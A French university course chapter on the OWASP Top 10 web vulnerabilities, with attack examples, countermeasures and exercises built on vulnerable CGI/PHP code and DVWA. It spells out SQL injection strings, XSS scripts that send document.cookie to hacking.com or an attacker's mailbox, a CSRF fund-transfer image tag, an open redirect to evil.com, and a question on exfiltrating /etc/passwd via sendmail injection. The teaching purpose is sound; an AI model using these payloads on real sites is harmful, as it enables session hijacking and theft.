ch9 owasp - M. Yacine CHALLAL
Transcription
ch9 owasp - M. Yacine CHALLAL
énierie de Protocoles et Logiciels Sécurisés Vulnérabilité et Sécurité des Applications Web Version 1 YACINE CHALLAL 20/09/2015 Table des matières I - Vulnérabilité et Sécurité des Applications Web 5 A. OWASP : Open Web Application Security Project...................................5 1. A1 Injection........................................................................................5 2. A2 Violation de Gestion d'Authentification et de Session............................8 3. A3 – Cross-Site Scripting (XSS)...........................................................10 4. A4 – Références directes non sécurisées à un objet................................11 5. A5 – Mauvaise configuration de Sécurité...............................................12 6. A6 – Exposition de données sensibles...................................................13 7. A7 – Manque de contrôle d'accès au niveau fonctionnel...........................14 8. A8 - Falsification de requête intersite (CSRF).........................................15 9. A9 - Utilisation de composants avec des vulnérabilités connues................17 10. A10 – Redirections et renvois non validés............................................18 II - Séries d'exercices IV : Vulnérabilités et Sécurité du Web (OWASP) 21 A. Vulnérabilité des scripts CGI............................................................21 B. Submit.........................................................................................22 C. Livre d'Or......................................................................................23 D. Simulation d'attaques et contre-mesures (DVWA)...............................25 3 Vulnérabilité et Sécurité des Applications Web I- I OWASP : Open Web Application Security Project 5 A. OWASP : Open Web Application Security Project L'OWASP publie chaque année le Top10 des attaques les plus répandues dans le Web. Dans ce cours on étudiera ce Top10 des vulnérabilités Web avec des exemples d'intrusion et des contre-mesures. 1. A1 Injection Définition Une faille d'injection, telle l'injection SQL et OS, se produit quand une donnée non fiable est envoyée à un interpréteur en tant qu'élément d'une commande ou d'une requête. Les données hostiles de l'attaquant peuvent duper l'interpréteur afin de l'amener à exécuter des commandes fortuites ou accéder à des données non autorisées. 5 Vulnérabilité et Sécurité des Applications Web Exemple Une application utilise des données non fiables dans la construction de l'appel SQL vulnérable suivant: String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") +"'"; l'attaquant modifie le paramètre ‘id' dans son navigateur et envoie: ' or '1'='1. Par exemple: http://example.com/app/accountView?id=' or '1'='1 Le sens de la requête est modifié pour retourner toutes les lignes de la table accounts. Les pires attaques peuvent altérer des données, voire invoquer des procédures stockées. Attention : Analyse de Risques Risque d'Injection a) Contre-mesures Conseil : Option 1 : Utilisation de Requêtes Paramétrées Les requêtes paramétrées forcent le développeur à définir d'abord tout le code SQL, et ensuite seulement passer chaque paramètre à la requête. Ce style de codage permet aux SGBD de distinguer le code des données. Une requête paramétrée garantie qu'un attaquant ne puisse pas changer l'intention d'une requête, même s'il injecte des commandes SQL. Par exemple, s'il soumet ‘ or ‘1'=‘1' comme valeur du ID, la requête cherchera dans la base la valeur litérale du ID: ‘or 1=1' Voici un exemple d'un code Java vulnérable car utilisant une requête dynamique sans validation de paramètres : Code Java vulnérable à l'Injection SQL Voici une version sécuriée utilisant uen requête paramétrée : 6 Vulnérabilité et Sécurité des Applications Web Code Java Sécurié contre l'Injection SQL Conseil : Option 2 : Utilisation de procédures stockées Elles ont le même effet que les requêtes paramétrées. Elles exigent du développeur de définir le code SQL d'abord, puis passer les paramètres après. La différence entre une procédure stockée et une requête paramétrée est que la procédure stockée est définie et stockée dans la base de donnée. Voici un exemple d'un code Java utilisant une procédure stockée : Code Java utilisant une procédure stockée pour se prémunir contre l'injection Conseil : Option 3 : Echappement des entrées Utilisateur Si l'utilisation de requêtes paramétrées et procédure stockées est difficile à mettre en œuvre (performance, réécriture de code, etc.), l'ultime rempart serait de faire un « échappement » de tous les inputs utilisateur avant de les utiliser dans une requête Chaque SGBD défnit son encodage et caractères d'échappement. Voici un code Java vulnérable qui interroge un SGBD Oracle : Code Java Vulnérable à l'Injection Voici une version sécurisée utilisant ESAPI pour échapper les entrées utilisateurs pour Oracle Code Java sécurisé échappant les entrées utilisateurs, pour interroger Oracle Conseil : Option 4 : Minimisation de privilèges Pour minimiser le dommage potentiel d'une injection SQL résussie, vous devez minimiser les privilèges assignés à chaque compte BD dans votre environnement. Ne pas assigner systématiquement les droits d'accès DBA et admin au compte de votre application. Certes ceci facilite le fonctionnement de votre application mais il est dangereux. 7 Vulnérabilité et Sécurité des Applications Web Conseil : Option 5 : Validation des inputs par liste blanche Utilisation de liste noire est inéfficace (un hacker peut facilement utiliser des mots clés filtrés par liste noire) Valider les inputs en exprimant excatement ce qui doit être accepté, par exemple en utilisant des expressions régulières Voici un exemple d'un code Java validant la saisie d'un code postale par une expression régulière : Validation des Inputs par Expression Régulière 8 Vulnérabilité et Sécurité des Applications Web 2. A2 Violation de Gestion d'Authentification et de Session Définition : Authentification L'authentification est le processus de vérification qu'un individu ou entité est ce qu'il prétend être. L'authentification est généralement réalisée en soumettant un identifiant et une ou plusieurs informations privées que seul l'individu devrait connaître (mdp, biométrie, puce, ...) Définition : Gestion de Session C'est le processus par lequel un serveur maintien l'état d'une entité avec laquelle il intéragit. Ceci est requis au serveur pour déterminer comment réagir aux requêtes suivantes au cours d'une transaction. Les sessions sont maintenues au niveau du serveur grâce à un identifiant de session qui peut être transmis dans les deux sens entre client et serveur lors de la transmission des requêtes. Les identifiants de sessions doivent être uniques par utilisateur et très difficile à prédire. Authentification et Gestion de Session 9 Vulnérabilité et Sécurité des Applications Web Attention Les fonctions applicatives relatives à l'authentification et la gestion de session ne sont souvent pas mises en œuvreoeuvre correctement Ceci permet aux attaquants de compromettre les mots de passe, clés, jetons de session, ou d'exploiter d'autres failles d'implémentation pour s'approprier les identités d'autres utilisateurs. Exemple : Scénario 1 Une application expose les identifiants de session dans l'URL: http://example.com/sale/saleitems;jsessionid= 2P0OC2JSNDLPSKHCJUN2JV? dest=Hawaii Un utilisateur authentifié sur le site envoie le lien à ses amis. En cliquant sur le lien, ils utiliseront sa session et sa carte de crédit. Exemple : Scénario 2 Les timeouts de l'application ne sont pas définies correctement. Un utilisateur accède au site via un ordinateur public. Au lieu de faire "déconnexion", l'utilisateur ferme le navigateur et s'en va. Un attaquant utilise le même navigateur une heure plus tard, et ce navigateur est encore authentifié. Exemple : Scénario 3 Un attaquant obtient un accès à la base des mots de passe du système. Les mots de passe ne sont pas correctement chiffrés, exposant les mots de passe de tous les utilisateurs à l'attaquant. Conseil : Contre mesures Satisfaire aux exigences de vérification d'authentification (V2) et de gestion de session (V3) définies dans le Standard de Vérification de la Sécurité des Applications (ASVS) : Utiliser une API sûre pour gérer l'authentification, comme ESAPI Authenticator Implémentation FileBasedAuthenticator 3. A3 – Cross-Site Scripting (XSS) Définition Les failles XSS se produisent chaque fois qu'une application accepte des données non fiables et les envoie à un navigateur web sans validation appropriée. XSS permet à des attaquants d'exécuter du script dans le navigateur de la victime afin de détourner des sessions utilisateur, défigurer des sites web, ou rediriger l'utilisateur vers des sites malveillants. Exemple : XSS Non Persistante (Réflexive) 10 Alice visite souvent le site web de Bob. Ce site permet de s'authentifier avec un login/mdp et stocker des données sensibles comme le num de carte bancaire. Quand un utilisateur s'authentifie il maintient une Cookie d'autorisation, ce Vulnérabilité et Sécurité des Applications Web qui permet au serveur de maintenir la session ouverte authentique avec l'utilisateur. Mallory remarque sur le site de Bob qu'en faisant une recherche de “bonbons” le site réaffiche ce qui a été cherché: “bonbons non trouvés”, mais si la recherche contient des tags HTML, les tags sont affichés et les scripts exécutés. Mallory remarque qu'en cherchant “bonbons” l'URL générée est http://bobssite.org?q= bonbons, Il fabrique alors l'URL http://bobssite.org?q= bonbons<script src=mallorysevilsite.com/authstealer.js> et l'envoie à Alice avec un message Regardes ces bonbons délicieux Alice clique sur le lien, ce qui fait une recherche sur le site de Bob et affiche “Bonbons non trouvés!”, mais entre temps exécute le script malicieux de Mallory authstealer.js Le script authstealer.js s'exécute sur le navigateur de Alice, il récupère la Cookie d'autorisation de Alice et l'envoie à Mallory. Par exemple: <script>window.location.href='mailto:[email protected]\? Subject=Authorization Cookie&body='+document.cookie;</script> <script>window.location.href=‘http://hacking.com/cgibin/insertcookie.cgi?cookie=‘+document.cookie </script> Mallory introduit la Cookie de Alice dans son navigateur et visite le site de Bob où il se fait donc passé pour Alice! Mallory va dans la section “Facturation” et récupère le numéro de carte banquaure de Alice, puis il change son mot de passe ce qui empêcha Alice d'entrer dans son compte. Exemple : XSS Persistante (Stockée) Mallory crée un compte sur le site de Bob. Il a remarqué que dans la section News, s'il poste un commentaire, ce dernier est affiché tel qu'il est. S'il contient des tags HTML ceux là sont appliqués et les scripts exécutés. Les commentaires sont persistants ! Mallory a décidé alors d'insérer le commentaire suivant: Quels bon Bonbons! <script src=mallorysevilsite.com/authstealer.js> Ce script récupère la Cookie d'Autorisation de l'utilisateur actuel et l'envoie à Mallory. <script>window.location.href='mailto:[email protected]\? Subject=Authorization Cookie&body='+document.cookie;</script> <script>window.location.href=‘http://hacking.com/cgibin/insertcookie.cgi?cookie=‘+document.cookie</script> Quand Alice charge la page avec ce commentaire, le script de Mallory s'exécute et vole la Cookie d'Autorization de Alice Mallory peut maintenant “hijacker” la session de Alice et usurper son identité Attention : Analyse de Risques 11 Vulnérabilité et Sécurité des Applications Web Analyse de Risques de XSS Conseil : Contre mesures Echapper toute donnée non fiable selon le contexte HTML dans lequel elle sera insérée (corps, attribut, javascript, CSS ou URL, etc.). La validation positive des entrées est recommandée mais ne constitue pas une protection suffisante en raison des différentes manières dont les applications traitent leur contenu. Une validation complète devra contrôler la longueur, les caractères, le format et les règles métiers. Pour les données complexes, considérez la libraire OWASP's AntiSamy : API qui assure que les données fournies par l'utilisateur sont conformes aux règles des applications Elle s'assure que l'utilisateur ne fournit pas du code malicieux dans son profile, comments etc. et les rendre persistants sur le serveur 4. A4 – Références directes non sécurisées à un objet Définition Une référence directe à un objet se produit quand un développeur expose une référence à un objet d'exécution interne, tel un fichier, un dossier, un enregistrement de base de données ou une clé de base de données. Sans un contrôle d'accès ou autre protection, les attaquants peuvent manipuler ces références pour accéder à des données non autorisées. Exemple 12 Une application utilise une valeur non vérifiée dans une requête SQL accédant à des informations d'un compte : String query = "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt = connection.prepareStatement(query , ... ); pstmt.setString( 1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery( ); L'attaquant modifie le paramètre « acct » dans son navigateur afin d'envoyer le numéro de compte qu'il souhaite. http://example.com/app/accountInfo?acct=notmyacct Si le paramètre n'est pas correctement vérifié, l'attaquant peut accéder à n'importe quel compte, au lieu d'être limité au sien. Vulnérabilité et Sécurité des Applications Web Conseil : Contre mesures Implémenter des références indirectes, par utilisateur ou par session. Cela empêche l'attaquant de cibler les ressources interdites. Par exemple, au lieu d'utiliser la clé de l'objet en base de données, une liste déroulante de six objets autorisés pour l'utilisateur pourrait s'appuyer sur les chiffres 1 à 6 pour indiquer la valeur choisie. L'application doit associer la référence indirecte par utilisateur à la valeur réelle de la clé sur le serveur. La librairie ESAPI de l'OWASP propose des méthodes facilitant l'implémentation des références indirectes. Contrôler l'accès. Chaque sollicitation d'une référence directe par une entité non fiable doit inclure un contrôle d'accès permettant de s'assurer que l'utilisateur en question est bien autorisé à accéder à l'objet demandé. 5. A5 – Mauvaise configuration de Sécurité Définition Une bonne sécurité nécessite de disposer d'une configuration sécurisée définie et déployée pour l'application, contextes, serveur d'application, serveur web, serveur de base de données et la plate-forme. Tous ces paramètres doivent être définis, mis en œuvre et maintenus, car beaucoup ne sont pas livrés sécurisés par défaut. Cela implique de tenir tous les logiciels à jour. Exemple : Scénario #1: La console d'administration du serveur d'application est automatiquement installée et non désactivée. Les comptes par défaut ne sont pas modifiés. L'attaquant découvre la console , utilise le compte par défaut et prend le contrôle. Exemple : Scénario #2: Le listage des répertoires est activé. L'attaquant le découvre et peut lister les répertoires et trouver les fichiers. L'attaquant trouve et télécharge vos classes java compilées qu'il décompile . Il identifie une faille de contrôle d'accès. Exemple : Scénario #3: Le serveur d'application est livré avec des exemples d'applications non supprimés de votre serveur de production. Ledit exemple d'application contient des vulnérabilités connues utilisables par l'attaquant pour compromettre le serveur. Conseil : Contre-mesures Un processus de durcissement reproductible qui permet un déploiement rapide et facile d'un nouvel environnement correctement verrouillé. 13 Vulnérabilité et Sécurité des Applications Web Un processus d'information et de déploiement de nouvelles versions et de correctifs dans un temps voulu dans chaque environnement. Une architecture solide qui apporte une séparation et sécurité entre les composants. Utiliser les scans et les audits aident à la détection des futures mauvaises configurations ou absence de correctifs. 6. A6 – Exposition de données sensibles Définition Beaucoup d'applications web ne protègent pas correctement les données sensibles telles que les cartes de crédit, identifiants d'impôt et informations d'authentification. Les pirates peuvent voler ou modifier ces données faiblement protégées pour effectuer un vol d'identité, de la fraude à la carte de crédit ou autres crimes. Les données sensibles méritent une protection supplémentaire tel un chiffrement statique ou en transit, ainsi que des précautions particulières lors de l'échange avec le navigateur. Exemple Un site public ne requiert pas SSL lors de la navigation dans la section authentifiée. Un acteur malveillant se connecte à un réseau sans-fil en libre accès et collecte le trafic d'un utilisateur. Il récupère le jeton d'une session authentifiée et accède ainsi aux données et privilèges de l'utilisateur dans l'application. Attention : Analyse de Risques Risques liés à l'exposition de données sensibles Conseil : Contre-mesures 14 Identifier les menaces contre lesquelles l'on souhaite se protéger (ex.: menace interne, utilisateurs externes) et s'assurer que les données sensibles sont chiffrées correctement lors de leur stockage et de leur transport.. Ne conserver que les données sensibles nécessaires. Les données que l'on ne possède pas ne peuvent être volées! Choisir des algorithmes éprouvés et générer des clés robustes. S'assurer qu'une gestion des clés est en place. Privilégier des modules cryptographiques certifiés. Stocker les mots de passe au moyen d'un algorithme adapté à cet usage, tel que bcrypt, PBKDF2, or scrypt. Vulnérabilité et Sécurité des Applications Web Désactiver la mise en cache et l'attribut "autocomplete" dans les formulaires collectant des données sensibles. 7. A7 – Manque de contrôle d'accès au niveau fonctionnel Définition Pratiquement toutes les applications web vérifient les droits d'accès au niveau fonctionnel avant de rendre cette fonctionnalité visible dans l'interface utilisateur. Cependant, les applications doivent effectuer les mêmes vérifications de contrôle d'accès sur le serveur lors de l'accès à chaque fonction. Si les demandes ne sont pas vérifiées, les attaquants seront en mesure de forger des demandes afin d'accéder à une fonctionnalité non autorisée. Exemple : Scenario 1 L'attaquant se contente de visiter les URLs ciblées. Les URLs suivantes nécessitent d'être authentifié et les droits d'administration sont requis pour “admin_getappInfo”: http://exemple.com/app/getappInfo http://exemple.com/app/admin_getappInfo Une vulnérabilité existe si un utilisateur non authentifié peut accéder à une de ces pages ou si un utilisateur authentifié mais non privilégié peut accéder à “admin_getappInfo”. Dans ce dernier cas, cela peut permettre à l'attaquant d'identifier d'autres fonctionnalités d'administration non protégées. Exemple : Scenario 2 Une page utilise un paramètre “action” pour spécifier la fonctionnalité à invoquer, et les différentes actions requièrent des privilèges différents. Une vulnérabilité existe si ces privilèges ne sont pas vérifiés. Attention : Analyse de Risques Risques liés à l'absence de contrôle d'accès au niveau fonctionnel 15 Vulnérabilité et Sécurité des Applications Web Conseil : Contre-mesures Votre application devrait utiliser un module de gestion des autorisations consistant, facilement analysable et appelé depuis les fonctionnalités métier 8. A8 - Falsification de requête intersite (CSRF) Définition Une attaque CSRF (Cross Site Request Forgery) force le navigateur d'une victime authentifiée à envoyer une requête HTTP forgée, comprenant le cookie de session de la victime ainsi que toute autre information automatiquement inclue, à une application web vulnérable. Ceci permet à l'attaquant de forcer le navigateur de la victime à générer des requêtes dont l'application vulnérable pense qu'elles émanent légitimement de la victime. Exemple Une application permet à un utilisateur de soumettre une requête de transfert d'argent, qui ne requiert aucun secret: http://example.com/app/transferFunds?amount=1500 &destinationAccount=4673243243 L'attaquant peut donc forger une requête pour transférer de l'argent du compte de la victime sur son propre compte, et la cacher dans une balise image, ou dans une balise iframe, stockée sur un site sous son contrôle : <img src="http://example.com/app/transferFunds? amount=1500&destinationAccount=attackersAcct#“ width="0" height="0" /> Si la victime visite l'un des sites de l'attaquant, alors qu'elle est toujours authentifiée sur le site example.com, son navigateur inclura les données de session utilisateur dans la requête forgée et cette dernière aboutira. Attention : Analyse de Risques Risques liés au CSRF 16 Vulnérabilité et Sécurité des Applications Web Conseil : Contre-mesures Inclure un jeton unique dans un champ caché. Ce jeton, envoyé dans le corps de la requête HTTP, et non inséré dans l'URL, sera ainsi potentiellement moins exposé. Le projet CSRF Guard de l'OWASP fournit des bibliothèques pour insérer de tels jetons dans les applications Java EE, .NET, ou PHP. Et le projet ESAPI de l'OWASP fournit des interfaces de programmation que les développeurs peuvent utiliser pour empêcher les attaques CSRF. Demander à l'utilisateur de se ré-authentifier ou, vérifier que la demande n'est pas automatisée (par ex., avec un test CAPTCHA) peut aussi vous protéger contre ces attaques. 9. A9 - Utilisation de composants avec des vulnérabilités connues Définition Les composants vulnérables, tels que bibliothèques, contextes et autres modules logiciels fonctionnent presque toujours avec des privilèges maximum. Ainsi, si exploités, ils peuvent causer des pertes de données sérieuses ou une prise de contrôle du serveur. Les applications utilisant ces composants vulnérables peuvent compromettre leurs défenses et permettre une série d'attaques et d'impacts potentiels. 17 Vulnérabilité et Sécurité des Applications Web Exemple Apache CXF Authentification Bypass – En ne fournissant pas de jeton d'authentification, les attaquants pouvaient faire appel à n'importe quels web services avec l'ensemble des privilèges. Attention : Analyse de Risques Risques liés à l'utilisation de composants vulnérables Conseil : Contre-mesures Identifier tous les composants et les versions utilisées, ainsi que les dépendances Surveiller les bases de données publiques, les listes de diffusion des projets et les listes de diffusion de sécurité afin de s'assurer de la sécurité de ces composants afin de les maintenir à jour. Établir des politiques de sécurité pour l'utilisation des composants, telles que la mise en place de pratiques de développement sécurisé, le passage avec succès des recettes sécurité et l'utilisation de composants sous License. Si possible, essayer d'ajouter des filtres de sécurités autour des composants afin de désactiver des fonctionnalités et/ou des parties comprenant des faiblesses ou des fonctions vulnérables. 10. A10 – Redirections et renvois non validés Définition 18 Les applications web réorientent et redirigent fréquemment les utilisateurs vers d'autres pages et sites internet, et utilisent des données non fiables pour déterminer les pages de destination. Sans validation appropriée, les attaquants peuvent réorienter les victimes vers des sites de phishing ou de malware, ou utiliser les renvois pour accéder à des pages non autorisées. Vulnérabilité et Sécurité des Applications Web Exemple : Scénario #1 Une application possède une page “redirect.jsp” disposant d'un seul paramètre nommé “url”. Un attaquant forge une URL permettant de rediriger les utilisateurs vers un site malveillant (tentative de phishing ou installation de malwares) : http://www.example.com/redirect.jsp?url=evil.com Exemple : Scénario #2 Une application effectue des renvois pour rediriger les utilisateurs sur certaines pages internes. Pour simplifier le renvoi, certaines pages utilisent un paramètre contenant la page où doit être renvoyer l'utilisateur. Dans ce cas, un attaquant crée une URL satisfaisant les contrôles d'accès de l'application et le redirigeant ensuite vers une fonction d'administration à laquelle il ne devrait pas avoir accès. http://www.example.com/boring.jsp?fwd=admin.jsp Attention : Analyse de Risques Risques Liés à l'Absence de Validation des Renvois Conseil : Contre-mesures Eviter l'utilisation des redirections et des renvois. En cas d'utilisation, ne pas utiliser de valeur de destination dans les paramètres utilisateur. Ceci est généralement réalisable. Si une valeur de destination doit être spécifiée, vérifier que la valeur est valide et autorisée pour l'utilisateur. Il est recommandé de ne pas utiliser d'URL dans les paramètres, mais plutôt une valeur abstraite qui sera traduite côté serveur par une URL cible. 19 Séries d'exercices IV : Vulnérabilités et Sécurité du Web (OWASP) II - II Vulnérabilité des scripts CGI 21 Submit 22 Livre d'Or 23 Simulation d'attaques et contre-mesures (DVWA) 25 A. Vulnérabilité des scripts CGI Cet exercice est repris de Avoine et al. 2010 Lorsque l'on navigue sur le Web, on est amené à remplir des formulaires en ligne. Les données de ces formulaires sont alors envoyées au serveur et traitées par un programme CGI (Common Gateway Interface). Les langages les plus utilisés actuellement pour écrire des programmes CGI sont Perl, PHP, C, ASP, ou encore le Shell) Voici la copie partielle d'écran d'une page web : Formulaire envoie adresse email 21 Séries d'exercices IV : Vulnérabilités et Sécurité du Web (OWASP) Voici le code HTML de cette page web : <HTML> <BODY> <BR><BR><BR><BR> <P> To get more information, Please send us your email address : <FORM ACTION="/cgi-bin/mail.pl" METHOD=POST> <INPUT TYPE="text" NAME ="mail"> <INPUT TYPE=SUBMIT VALUE="Send"> </FORM> </P> </BODY> </HTML> Voici enfin le programme CGI écrit en perl qui traite les données : # !/usr/bin/perl use CGI ; my $d=new CGI ; my $address=$q->param("mail") ; open MAIL, "| /usr/lib/sendmail $address" ; print MAIL "To : $address \n" ; print MAIL "From : ATM and Co\n\n" ; print MAIL "We have received your request, thank you very much.\n" ; print MAIL "You will recieve our documentation by mail shortly.\n" ; close(MAIL) ; print "Content-type : text/html/\n\n" print "<HTML>" ; print "<BODY bgcolor=\"#FAF0E6\">" ; print "<P align=\"center\"><A href=\"/index.html\">Back to the summary</A></P>" ; print "</BODY>" ; print "</HTML>" ; Question 1 Quel est l'objectif du programme CGI tel qu'il a été prévu par le concepteur du site web ? Question 2 Les possibilités d'action d'un pirate sont restreintes puisqu'il ne peut que remplir le champ du formulaire. Intuitivement que peut-il tenter ? Question 3 Comment peut-il se faire envoyer par courrier électronique le fichier des mots de passe (/etc/passwd) du serveur HTTP ? B. Submit Soit un formulaire permettant la saisie d'un identifiant et qui lance l'exécution du script php suivant quand l'utilisateur clique sur le bouton « submit » : 22 Séries d'exercices IV : Vulnérabilités et Sécurité du Web (OWASP) Sublit PHP Submit Question 1 A quel type d'attaque est vulnérable ce code ? Question 2 Donner un exemple d'attaque exploitant cette vulnérabilité Question 3 Donner deux niveaux de protection qui permettent de se prémunir de ce type d'attaque. Expliquer chacune de ces mesures. C. Livre d'Or Un livre d'or permet aux visiteurs d'un site web de poster des messages qui seront stockés dans une base et réaffichés après chaque connexion sur le site. 23 Séries d'exercices IV : Vulnérabilités et Sécurité du Web (OWASP) Livre d'or Quand un utilisateur clique sur le bouton « Sign Guestbook » le code suivant est exécuté. Script Livre d'Or Question 1 Expliquer le rôle de l'appel « mysql_real_escape_string($name) » et citer le type d'attaque contrarié grâce à cet appel. Question 2 A quel type d'attaque ce code est toujours vulnérable ? Expliquer. Question 3 Donner un scénario d'attaque exploitant cette vulnérabilité. Afin de palier cette vulnérabilité, le développeur du site corrige le code avec cette nouvelle version : 24 Séries d'exercices IV : Vulnérabilités et Sécurité du Web (OWASP) New Livre D'or Script Question 4 Expliquer le rôle de la fonction « str_replace(‘<script>', ‘', $name) » Question 5 Donner un exemple d'attaque sur ce code qui contourne ce contrôle. Question 6 Donner une version du code qui permet d'éviter ce contournement (vous pouvez ne pas réécrire tout le code) D. Simulation d'attaques et contre-mesures (DVWA) Damned Vulnerable Web Application (DVWA) DVWA qui s'exécute à 127.0.0.1 est une application conçue vulnérable pour faire dessus des exercices pédagogiques. Dans le menu, on y retrouve différents types d'attaques : XSS, Injection SQL, File upload, Command Injection etc. Pour chaque vulnérabilité, vous avez des liens pour vous documentez sur la faille et ses contre-mesures. Vous avez aussi accès (en bas à droite) au code source vulnérable et ses versions améliorées (bouton compare). Le "help" (en bas à droite) vous permet également de comprendre la faille et vous donne des indices pour mener l'attaque. Question 1 Lancez DVWA (http://127.0.0.1/dvwa/) et réalisez des exploits (attaques). Pour mener l'attaque il est nécessaire d'analyser le code source des scripts vulnérable afin de comprendre la source de la faille. Expliquez pour chaque attaque réussie la source de vulnérabilité de l'application Question 2 25 Séries d'exercices IV : Vulnérabilités et Sécurité du Web (OWASP) Une fois l'exploit réalisé, comparer le code vulnérable aux versions améliorées pour comprendre les contre mesures. Expliquez ce qui a été amélioré et comment ça permet de se prémunir des attaques. Question 3 Vous pouvez basculer le niveau de sécurité de DVWA à "medium" et "high" et essayer de mener l'attaque de nouveau et voir si ça marche toujours. 26